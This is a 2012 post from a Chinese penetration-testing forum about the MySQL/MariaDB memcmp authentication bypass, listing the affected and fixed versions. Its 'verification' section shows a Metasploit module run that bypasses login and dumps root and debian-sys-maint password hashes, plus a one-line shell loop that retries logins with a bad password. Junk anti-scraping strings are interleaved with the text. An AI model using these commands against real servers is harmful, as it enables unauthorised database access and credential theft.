中国网络渗透测试联盟
标题:
mysql任意用户密码概率登陆漏洞
[打印本页]
作者:
admin
时间:
2012-12-20 20:11
标题:
mysql任意用户密码概率登陆漏洞
当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。
" K- w1 ?0 O$ q6 f; @: \
" H5 B0 Z* r7 |; K
也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。
7 v8 @( E5 b9 U! ]6 R5 f6 |
5 G# Q. e+ C/ i1 H- @0 C
受影响的产品：
/ a% R% S( @+ a
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
3 q! T1 G+ P, @# S+ M' y( B* c
vulnerable.
9 b/ H4 k/ r' a2 h1 }0 }
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
2 f S2 E* R1 N/ K8 T {) d$ W2 C
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
) v; d, b5 Z# b6 R0 O
5 w/ w' v/ w: _2 A
验证方法：
' q9 {" R! i% }" U
/ L0 R! K$ z0 f; @% F4 T& V6 K" A
$ msfconsole msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1 msf auxiliary(mysql_authbypass_hashdump) > run [+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test [*] 127.0.0.1:3306 Authentication bypass is 10% complete [*] 127.0.0.1:3306 Authentication bypass is 20% complete [*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts [+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes… [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D [+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89 [*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
( c2 K( j1 m+ a; l3 w8 ^" c
* m' x# q ]# e7 ^, z% t6 m
$ for i in `seq 1 1000`; do mysql -u root –password=bad -h 127.0.0.1 2>/dev/null; done mysql>
7 f8 v: U$ n8 v/ [5 i$ l! v& r
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2